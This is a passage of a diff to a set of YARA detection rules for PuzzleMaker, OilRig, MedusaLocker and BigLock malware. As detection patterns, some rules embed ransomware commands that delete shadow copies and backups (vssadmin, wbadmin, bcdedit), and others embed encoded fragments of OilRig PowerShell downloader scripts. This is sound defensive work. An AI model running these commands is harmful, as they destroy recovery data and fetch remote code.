"f2ce2a00de8673f52d37911f3e0752b8dfab751b2a17e719a565b4083455528e" + tlp = "White" + adversary = "PuzzleMaker" strings: - $s1 = "glColor.dll" fullword ascii - $s2 = "{sysdir}\\nvu*.exe" fullword ascii - $s3 = "KLSUIrhekheirguhemure" fullword ascii - $s4 = "tEo>qM" fullword ascii - $s5 = "?\"?0?8?>?I?V?^?l?q?v?{?" fullword ascii - $s6 = ";\";0;d;" fullword ascii - $s7 = "T0p0v0|0" fullword ascii + $s1 = { 4c 8d 4c 24 5c 49 8b ce 48 8d 95 c0 00 00 00 ff 15 21 01 04 00 85 c0 74 28 4c 8d 4c 24 58 4c 89 64 24 20 41 b8 00 04 00 00 48 8d 95 c0 04 00 00 49 8b cf ff 15 b5 fe 03 00 85 c0 0f 85 25 ff ff ff ff 15 77 fe 03 00 8b } + $s2 = { 40 55 53 56 41 55 41 57 48 8d ac 24 a0 fe ff ff 48 81 ec 60 02 00 00 48 8b 05 5a 1c 03 00 48 33 c4 48 89 85 30 01 00 00 48 8b 85 b0 01 00 00 4c 8b f9 48 8b b1 b8 00 00 00 4c 8b ad c8 01 00 00 48 83 c6 07 48 89 44 24 60 48 8b 85 d0 01 00 00 48 89 45 98 8b 85 c0 01 00 00 83 c0 fd 48 c1 ee 03 4c 89 4d 80 4c 89 45 88 48 89 55 90 83 f8 06 0f 87 84 03 00 00 48 8d 15 f3 6b fd ff 48 98 8b 8c 82 b0 97 02 00 48 } + $s3 = { 48 8d 1d 98 3d 02 00 0f 57 c0 48 89 bc 24 58 02 00 00 33 c0 c7 44 24 68 01 00 00 00 0f 11 85 80 00 00 00 4c 8b c6 c7 85 8c 00 00 00 10 27 00 00 48 8d 95 a0 00 00 00 48 89 44 24 70 49 8b c9 48 89 44 24 78 0f 11 45 20 0f 11 45 30 0f 11 45 40 0f 11 45 50 0f 11 45 60 0f 11 45 70 0f 11 85 90 00 00 00 e8 57 58 fe ff 8b f8 85 c0 0f 85 62 02 00 00 49 8b 87 b8 00 00 00 48 8d 4c 24 68 48 8b 54 24 60 48 83 c0 07 48 c1 e8 03 4c 89 a4 24 50 02 00 00 4c 8b a5 b8 01 00 00 4c 3b e0 4c 89 b4 24 48 02 00 00 4d 8b f4 4c 0f 47 f0 4d 8b c6 e8 1b 57 fe ff 8b f8 85 c0 75 54 49 8b 87 b8 00 00 00 4a 8d 14 f5 00 00 00 00 48 } + $s4 = { 85 ff 0f 85 cd 01 00 00 48 8b 4d 90 48 8d 45 a0 48 89 44 24 50 45 33 c9 48 8d 45 d0 4d 8b c7 48 89 44 24 48 33 d2 4c 89 64 24 40 4c 89 64 24 38 c7 44 24 30 00 00 00 08 c7 44 24 28 01 00 00 00 4c 89 64 24 20 ff 15 62 1c 04 00 85 c0 75 3a ff 15 38 1d 04 00 44 8b c3 48 8b ce 8b d0 8b f8 e8 d1 09 00 00 48 8b 4d 80 ff 15 07 1d 04 00 48 8b 4d 88 ff 15 fd 1c 04 00 48 8b 4d 90 ff 15 f3 1c 04 00 } + $s5 = { 40 53 55 56 57 41 54 41 55 41 56 41 57 48 81 ec 28 02 00 00 48 8b 05 5d 0a 04 00 48 33 c4 48 89 84 24 10 02 00 00 48 8b ac 24 90 02 00 00 0f 57 c0 4c 8b ac 24 98 02 00 00 33 db 45 32 e4 4c 89 4c 24 58 4c 89 44 24 70 49 8b f9 48 89 6c 24 68 4d 8b c8 4c 89 6c 24 60 4c 8b fa 48 8b f1 44 8b f3 0f 11 84 24 e0 00 00 00 c7 84 24 ec 00 00 00 10 27 00 00 0f 11 84 24 80 00 00 00 0f 11 84 24 90 00 00 00 0f 11 84 24 a0 00 00 00 0f 11 84 24 b0 00 00 00 0f 11 84 24 c0 00 00 00 0f 11 84 24 d0 00 00 00 0f 11 84 24 f0 00 00 00 48 85 ed 75 47 4c 8b 81 b8 00 00 00 48 8d 05 a1 c2 ff ff 48 89 44 24 68 48 8d 8c 24 80 00 00 00 49 83 c0 07 48 8d 84 24 80 00 00 00 49 c1 e8 03 49 8b d1 48 89 44 24 60 e8 87 c2 ff ff 8b f8 85 c0 0f 85 ee 01 00 00 48 8b 7c 24 58 48 8d 56 68 48 8d 4f 18 e8 7b 4a ff ff 85 c0 75 15 48 8d 56 50 48 8b cf e8 6b 4a ff ff 85 c0 75 05 40 b5 } + $s6 = { 41 b9 01 00 00 00 c7 44 24 20 00 00 00 f0 45 33 c0 48 8d 4c 24 60 33 d2 ff 15 11 06 04 00 85 c0 74 28 48 8b 4c 24 60 4c 8d 85 b0 00 00 00 ba 20 00 00 00 ff 15 ee 05 04 00 48 8b 4c 24 60 33 d2 85 } condition: - uint16( 0 ) == 0x5a4d and filesize < 900KB and ( pe.imphash ( ) == "ff6dd5f31dd7c538ebc02542f09f4280" and pe.exports ( "setColor" ) or all of them ) + uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_1 : FILE +rule ARKBIRD_SOLG_APT_Puzzlemaker_Launcher_Jun_2021_1 : FILE { meta: - description = "invitation.doc" + description = "Detect the launcher of the PuzzleMaker group" author = "Arkbird_SOLG" - id = "10562979-0b90-5752-89b8-f0d35121df41" - date = "2019-11-21" - modified = "2019-11-21" - reference = "https://twitter.com/58_158_177_102/status/1197432303057637377" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L52-L83" + id = "ae31d9de-8e6c-5c1b-bc45-bc4e50cea00f" + date = "2021-06-10" + modified = "2021-11-01" + reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Launcher_Jun_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "7d2cbc0a505c245aa3e9e8a76cebc7ea7dbd4bd3be26a858f731b96791293ba5" + logic_hash = "5c717ca5c57a86e1b5db45b3d581a45be248d45820c00c40c57a001ac07ce1b2" score = 75 - quality = 50 + quality = 75 tags = "FILE" - hash1 = "a197c6de8734044c441438508dd3ce091252de4f98df2016b006a1c963c02505" + hash1 = "982f7c4700c75b81833d5d59ad29147c392b20c760fe36b200b541a0f841c8a9" + tlp = "White" + adversary = "PuzzleMaker" strings: - $x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\basecamp" fullword wide - $x2 = "*\\G{42DC991A-7E1B-4254-B210-CDD3DDCFD365}#2.0#0#C:\\Users\\1\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide - $x3 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide - $x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\basecamp" fullword wide - $s5 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide - $s6 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide - $s7 = "glColor.dll" fullword ascii - $s8 = "magne.dll" fullword ascii - $s9 = "InitScope.dll" fullword wide - $s10 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" fullword wide - $s11 = "CopyFiles=@EP0NGJ8D.GPD,@EP0NGN8D.GPD,@EP0NGX8D.GPD,@EP0NCJ8D.CMB,@EP0NOJ8D.DXT,@EP0NOE10.DLL,@EP0NM4RC.DLL,@EP0NRE8D.DLL" fullword wide - $s12 = "CopyFiles=@EP0NGJ8C.GPD,@EP0NGN8C.GPD,@EP0NGX8C.GPD,@EP0NCJ8C.CMB,@EP0NOJ8C.DXT,@EP0NOE09.DLL,@EP0NM4RB.DLL,@EP0NRE8C.DLL" fullword wide - $s13 = "vspub2.dll-" fullword ascii - $s14 = "pictarget" fullword ascii - $s15 = "Public Declare Function ZooDcom Lib \"vspub1.dll\" Alias \"IKAJSL\" () As Integer" fullword ascii - $s16 = "\"Epson\"=\"http://go.microsoft.com/fwlink/?LinkID=36&prd=10798&sbp=Printers\"" fullword wide - $s17 = "EP0NM4RC.DLL = 1" fullword wide - $s18 = "EP0NOE10.DLL = 1" fullword wide - $s19 = "EP0NRE8C.DLL = 1" fullword wide - $s20 = "EP0NM4RB.DLL = 1" fullword wide + $s1 = { 4c 89 6d bf 48 8d 45 bf 48 89 44 24 20 4c 8d 0d f9 45 01 00 33 d2 44 8d 42 01 48 8d 0d dc 45 01 00 ff 15 56 44 01 00 8b d8 85 c0 78 c6 4c 89 6d c7 48 8b 45 bf 48 8b 08 4c 8b 79 18 b9 18 00 00 00 e8 9b 04 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 32 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8d 0d 15 fb 01 00 ff 15 cf 43 01 00 48 89 03 48 85 } + $s2 = { 44 89 6c 24 38 4c 89 6c 24 30 c7 44 24 28 03 00 00 00 c7 44 24 20 03 00 00 00 45 33 c9 45 33 c0 41 8d 51 0a 48 8b 4d c7 ff 15 f6 42 01 00 85 c0 0f 88 bb 01 00 00 48 8d 0d 1d fa 01 00 ff 15 c1 42 01 00 4c 8b f8 48 8d 0d 1b fa 01 00 ff 15 b1 42 01 00 4c 8b e0 4c 89 6d df 48 8b 4d c7 48 8b 11 4c 8b 52 30 4c 89 6c 24 28 48 8d 45 df 48 89 44 24 20 45 33 c9 45 33 c0 49 8b d4 41 ff d2 4c 89 6d e7 48 8b 4d df 48 8b 01 4c 89 6c 24 20 4c 8d 4d e7 45 33 c0 49 8b d7 ff 90 98 00 00 00 4c 89 6d cf 48 8b 4d e7 48 8b 01 4c 8d 45 cf 33 d2 ff 50 78 b8 08 00 00 00 66 89 45 ef 8d 48 10 e8 dc 02 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 33 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8b ce ff 15 14 42 01 00 48 89 03 48 85 c0 75 0e 48 85 } + $s3 = { 4c 8d 05 75 0e 02 00 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 0f b6 d0 42 0f b6 0c 12 66 41 31 08 74 12 ff c0 49 83 c0 02 83 f8 20 72 e7 0f 1f 80 00 00 00 00 0f b7 05 49 09 02 00 48 8d 0d 76 09 02 00 66 d1 e8 66 83 e0 7f 66 0f 6f 15 f3 d4 01 00 66 89 05 2c 09 02 00 0f b7 05 27 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 19 09 02 00 0f b7 05 14 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 06 09 02 00 0f b7 05 01 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f3 08 02 00 0f b7 05 ee 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e0 08 02 00 0f b7 05 db 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 cd 08 02 00 0f b7 05 c8 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 ba 08 02 00 0f b7 05 b5 08 02 00 66 d1 e8 66 83 e0 7f f3 0f 6f 05 bc 08 02 00 66 89 05 9f 08 02 00 0f b7 05 9a 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 8c 08 02 00 0f b7 05 87 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 79 08 02 00 0f b7 05 74 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 66 08 02 00 0f b7 05 61 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 53 08 02 00 0f b7 05 4e 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 40 08 02 00 0f b7 05 3b 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 2d 08 02 00 0f b7 05 28 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 1a 08 02 00 0f b7 05 15 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 07 08 02 00 0f b7 05 02 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f4 07 02 00 0f b7 05 ef 07 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e1 07 02 00 b8 01 00 00 00 66 0f 6e c8 8d 50 05 66 0f d1 c1 66 0f db c2 f3 0f 7f 05 c7 07 02 00 0f } + $s4 = { 48 89 9c 24 60 06 00 00 48 89 b4 24 68 06 00 00 48 89 bc 24 70 06 00 00 4c 89 b4 24 30 06 00 00 c7 05 2e 1a 02 00 04 00 00 00 48 c7 05 27 1a 02 00 01 00 00 00 4c 89 2d 2c 1a 02 00 ff 15 22 48 01 00 48 8d 35 8b 04 02 00 66 66 66 0f 1f 84 00 00 00 00 00 33 d2 44 89 6c 24 70 41 b8 08 03 00 00 48 8d 8d 10 02 00 00 45 8b f5 e8 e4 28 00 00 4c 8d 0d 5d 03 02 00 48 89 74 24 20 ba 84 01 00 00 48 8d 8d 10 02 00 00 49 c7 c0 ff ff ff ff e8 a0 fb ff ff 48 8d 54 24 70 48 8d 8d 10 02 00 00 e8 9f 05 00 00 8b d0 85 } + $s5 = { 4c 89 6c 24 60 4c 8d 05 25 cc 01 00 4c 89 6c 24 58 48 8d 15 e1 04 02 00 4c 89 6c 24 50 41 b9 ff 01 0f 00 4c 89 6c 24 48 48 8b cf 4c 89 6c 24 40 48 89 74 24 38 44 89 6c 24 30 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 ff 15 19 46 01 00 48 8b d8 ff 15 a8 46 01 00 8b f0 48 85 db 74 22 48 8b cb ff 15 20 46 01 00 48 8b cb ff 15 ff 45 01 00 48 8b cf ff 15 f6 45 01 00 bf 01 00 00 } + $s6 = { 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 f4 46 01 00 48 8b f8 48 85 } + + condition: + uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* ) +} +rule ARKBIRD_SOLG_APT_Oilrig_VBS_2016_1 : FILE +{ + meta: + description = "Detect VBS script in base 64 used by OilRig (2016)" + author = "Arkbird_SOLG" + id = "5cc3a3f1-4f2f-56c4-af69-8652d22b6730" + date = "2020-08-26" + modified = "2021-07-13" + reference = "https://twitter.com/Arkbird_SOLG/status/1298758788028264450" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-26/APT_OilRig_2016.yar#L4-L23" + license_url = "N/A" + logic_hash = "a6c42c46c80ca79b01aa0475c823aeccef416a0f8c2f58db95392cbe125b2fad" + score = 75 + quality = 63 + tags = "FILE" + hash1 = "1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c" + hash2 = "1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5" + + strings: + $block1 = { 53 45 39 4e 52 54 30 69 4a 58 42 31 59 6d 78 70 59 79 56 63 54 47 6c 69 63 6d 46 79 61 57 56 7a 58 43 49 } + $block2 = { 43 6c 4e 46 55 6c 5a 46 55 6a 30 69 61 48 52 30 } + $block3 = { 56 34 4c 6d 46 7a 63 48 67 2f 63 6d 56 78 } + $block4 = { 6a 30 69 63 47 39 33 5a 58 4a 7a 61 47 56 73 62 43 41 69 49 69 5a 37 4a 48 64 6a 50 53 68 75 5a 58 63 74 62 32 4a 71 5a 57 4e 30 49 46 4e 35 63 33 52 6c 62 53 35 4f 5a 58 51 75 56 32 56 69 51 32 78 70 5a 57 35 30 4b 54 73 6b 64 32 4d 75 56 58 4e 6c 52 47 56 6d 59 58 56 73 64 45 4e 79 5a 57 52 6c 62 6e 52 70 59 57 78 7a 50 53 52 30 63 6e 56 6c 4f 79 52 33 59 79 35 49 5a 57 46 6b 5a 58 4a 7a 4c 6d 46 6b 5a 43 67 6e 51 57 4e 6a 5a 58 42 30 4a 79 77 6e 4b 69 38 71 4a 79 6b 37 4a 48 64 6a 4c 6b 68 6c 59 57 52 6c 63 6e 4d 75 59 57 52 6b 4b 43 64 56 63 32 56 79 4c 55 46 6e 5a 57 35 30 4a 79 77 6e 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 45 4a 4a 56 46 4d 76 4e 79 34 33 4a 79 6b 37 64 32 68 70 62 47 55 6f 4d 53 6c 37 64 48 4a 35 65 79 52 79 50 55 64 6c 64 43 31 53 59 57 35 6b 62 32 30 37 4a 48 64 6a 4c 6b 52 76 64 32 35 73 62 32 46 6b 52 6d 6c 73 } + $block5 = { 69 49 4e 43 6b 4e 79 5a 57 46 30 5a 55 39 69 61 6d 56 6a 64 43 67 69 56 31 4e 6a 63 6d 6c 77 64 43 35 54 61 47 56 73 62 43 49 70 4c 6c 4a 31 62 69 42 53 5a 58 42 73 59 57 [1-4] 45 52 33 62 69 77 69 4c 56 38 [1-4] 4a 6b 64 32 34 69 4b 53} + $block6 = { 30 69 49 69 49 4e 43 6b 4e 79 5a 57 46 30 5a 55 39 69 61 6d 56 6a 64 43 67 69 56 31 4e 6a 63 6d 6c 77 64 43 35 54 61 47 56 73 62 43 49 70 4c 6c 4a 31 62 69 42 53 5a 58 42 73 59 57 4e 6c 4b 45 52 76 64 32 35 73 62 32 46 6b 52 58 68 6c 59 33 56 30 5a 53 77 69 4c 56 38 69 4c 43 4a 69 59 58 51 } + $block7 = { 51 70 72 62 32 31 6a 50 53 4a 77 62 33 64 6c 63 6e 4e 6f 5a 57 78 73 49 43 31 6c 65 47 56 6a 49 45 4a 35 63 47 46 7a 63 79 41 74 52 6d 6c 73 5a 53 41 69 4a 6b } + $block8 = { 0a b7 9a b5 e3 9b 8d e7 2d 59 27 2b 8a 9b 52 85 e9 65 46 e9 [1-4] d4 } + + condition: + filesize < 2KB and 6 of them +} +rule ARKBIRD_SOLG_APT_Oilrig_PSH_Helminth_2016_1 : FILE +{ + meta: + description = "Detect Powershell script Helminth in base 64 used by OilRig (2016)" + author = "Arkbird_SOLG" + id = "782503c2-a292-505c-b513-79cbbd381124" + date = "2020-08-26" + modified = "2021-07-13" + reference = "https://twitter.com/Arkbird_SOLG/status/1298758788028264450" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-26/APT_OilRig_2016.yar#L25-L45" + license_url = "N/A" + logic_hash = "0216015765f5abdb6ccf7643344aead51e4eebb19fd947f9484ce5dc6696d4d5" + score = 75 + quality = 61 + tags = "FILE" + hash1 = "1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c" + hash2 = "1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5" + + strings: + $block1 = { 70 74 65 57 6c 6b 49 44 30 67 4a 79 4d 6a 49 79 63 67 44 51 6f 67 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 67 50 53 41 69 4a 47 56 75 64 6a 70 51 64 } + $block2 = { 41 67 ?? ?? 42 6c 62 48 4e 6c 61 57 59 6f 4a 47 31 35 5a 6d 78 68 5a 7a 4d 67 4c 57 56 78 49 44 49 70 49 41 30 4b 49 43 41 67 49 48 73 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 67 6e 64 33 63 6e 4b 79 52 6e 62 47 39 69 59 57 77 36 62 58 6c 70 5a 43 73 6b 59 32 31 6b 61 57 51 72 4a 48 42 68 63 6e 52 70 5a 43 73 6f } + $block3 = { 6a 61 47 46 79 58 53 42 62 61 57 35 30 58 53 41 6b 64 47 31 77 57 7a 42 64 4b 53 41 72 49 43 } + $block4 = { 43 52 6a 62 6e 51 67 4c 57 56 78 49 44 49 31 4b 53 6b 67 44 51 6f 67 49 43 41 67 65 79 41 } + $block5 = { 5a 6c 52 45 35 54 49 43 67 6b 5a 43 6b 67 44 51 70 37 49 41 30 4b 43 53 52 6a 62 6e 51 67 50 53 41 77 49 41 30 4b 43 58 64 6f 61 57 78 6c 49 43 67 6b 59 32 35 30 49 43 31 73 64 43 41 79 4d 43 6b 67 44 51 6f 4a 65 79 41 4e 43 67 6b 4a 64 48 4a 35 49 41 30 4b 43 51 6c 37 } + $block6 = { 4b 49 43 41 67 49 43 41 67 49 43 41 6b 61 53 73 72 49 41 30 4b 49 43 41 67 49 48 30 67 44 51 6f 67 49 43 41 67 61 57 59 6f 4a 48 4a 6c 64 43 41 74 5a 58 45 67 4d 53 6b 67 44 51 6f 67 49 43 41 } + $block7 = { 77 36 62 58 6c 6d 62 47 46 6e 49 44 30 67 4d 43 41 4e 43 69 41 67 49 43 42 39 49 41 30 4b 49 43 41 67 49 47 56 73 63 32 56 70 5a 69 41 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 5a 73 59 57 63 67 4c 57 56 78 49 44 45 70 49 41 30 4b 49 43 41 67 49 48 73 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 52 30 62 58 41 67 50 53 41 6b 62 58 6c 6b 59 58 52 68 4c 6c 4e 77 62 47 6c 30 4b 43 63 75 4a 79 6b 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 46 74 54 65 58 4e 30 5a 57 30 75 53 55 38 75 52 6d 6c 73 5a 56 30 36 4f 6b 46 77 63 47 56 75 5a 45 46 73 62 46 52 6c 65 48 51 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 72 4a 33 52 77 58 43 63 72 4a 47 64 73 62 32 4a 68 62 44 70 6d 61 57 78 6c 62 6d 46 74 } + $block8 = { 4a 47 6b 72 4b 79 41 4e 43 69 41 67 49 43 42 39 49 41 30 4b 49 48 30 67 44 51 6f 67 44 51 6f 67 5a 6e 56 75 59 33 52 70 62 32 34 67 52 32 56 30 53 55 [1-10] 4e 43 69 41 67 49 43 41 6b 5a 32 78 76 59 6d 46 73 4f 6d 31 35 61 57 51 67 50 53 42 54 5a 57 35 6b 55 6d 56 6a 5a 57 6c 32 5a 55 52 4f 55 79 41 6f 4b 45 64 6c 64 46 4e 31 59 69 41 77 4b 53 73 6e 4d 7a 41 6e 4b 53 41 4e 43 69 42 39 49 41 30 4b 49 41 30 4b 49 47 5a 31 62 6d 4e 30 61 57 39 [1-10] 56 52 6f 61 58 4e 47} + $block9 = { 73 67 44 51 6f 4a 43 57 31 6b 49 43 31 47 62 33 4a 6a 5a 53 41 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 72 4a 33 52 77 58 43 63 70 49 41 30 4b 43 51 6c 48 5a 58 52 4a 52 43 41 4e 43 67 6b 4a 51 32 68 68 62 6d 64 6c 56 47 68 70 63 30 5a 70 62 47 55 67 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 6c 6b 49 41 30 4b 49 43 41 67 49 48 30 67 44 51 6f 67 66 53 41 4e 43 69 42 6d 64 57 35 6a 64 47 6c 76 62 69 42 74 59 57 6c 75 49 41 30 4b } + + condition: + filesize < 3KB and 7 of them +} +rule ARKBIRD_SOLG_RAN_Medusalocker_July_2021_1 : FILE +{ + meta: + description = "Detect MedusaLocker ransomware" + author = "Arkbird_SOLG" + id = "7eec35ac-f1ec-596b-8224-ef27e31e841c" + date = "2021-07-25" + modified = "2021-08-08" + reference = "https://twitter.com/r3dbU7z/status/1418433910057353217" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-25/MedusaLocker/RAN_MedusaLocker_July_2021_1.yara#L1-L28" + license_url = "N/A" + logic_hash = "541665541c07b585a7dfa024f85516b7be94d7d8d76a85e58c8c3b71fd0550ff" + score = 75 + quality = 73 + tags = "FILE" + hash1 = "033b4950a8f249b20eb86ec6f8f2ea0a1567bb164289d1aa7fb0ba51f9bbe46c" + hash2 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad" + hash3 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc" + hash4 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31" + tlp = "white" + adversary = "RaaS" + + strings: + $s1 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 52 00 65 00 73 00 69 00 7a 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 53 00 74 00 6f 00 72 00 61 00 67 00 65 00 20 00 2f 00 66 00 6f 00 72 00 3d 00 ?? 00 3a 00 20 00 2f 00 6f 00 6e 00 3d 00 ?? 00 3a 00 20 00 2f 00 6d 00 61 00 78 00 73 00 69 00 7a 00 65 00 3d } + $s2 = { 64 00 65 00 6c 00 20 00 2f 00 73 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 56 00 48 00 44 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 63 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 6b 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 62 00 63 00 61 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 6b 00 66 00 20 00 ?? 00 3a 00 5c 00 42 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 62 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 73 00 65 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 69 00 6e 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 64 00 73 00 6b } + $s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 } + $s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 } + $s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide + $s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f } + $s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 } + $s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 } + $s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 } + $s10 = { 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 20 4c 49 53 54 20 4f 46 20 45 4e 43 52 59 50 54 45 44 20 46 49 4c 45 53 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0d 0a } + $x1 = { 48 89 5c 24 08 57 48 83 ec 30 48 8b da 48 8b f9 e8 0b fe ff ff 44 8b 43 08 48 8d 47 28 44 2b 03 45 33 c9 48 8b 13 48 8b 4f 20 48 89 44 24 28 c7 44 24 20 00 00 00 00 ff 15 [2] 07 00 85 c0 74 12 c6 47 08 01 48 8b c7 48 8b 5c 24 40 48 83 c4 30 5f c3 ff 15 [2] 07 00 48 8b 5c 24 40 89 47 34 48 8b c7 } condition: - uint16( 0 ) == 0xcfd0 and filesize < 3000KB and 1 of ( $x* ) and 4 of them + uint16( 0 ) == 0x5A4D and filesize > 150KB and 9 of ( $s* ) and $x1 } -rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_2 : FILE +rule ARKBIRD_SOLG_RAN_Biglock_Jun_2021_1 : FILE { meta: - description = "invitation (1).xls" + description = "Detect BigLock ransomware" author = "Arkbird_SOLG" - id = "e6328342-0d08-58a3-befe-15de41649763" - date = "2019-11-21" - modified = "2019-11-21" - reference = "https://twitter.com/58_158_177_102/status/1197432303057637377" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L85-L116" + id = "6a3fbb70-034d-5932-8c7f-de8d1b3df25c" + date = "2021-06-05" + modified = "2021-06-05" + reference = "https://twitter.com/fbgwls245/status/1400971422336311297" + source_url = 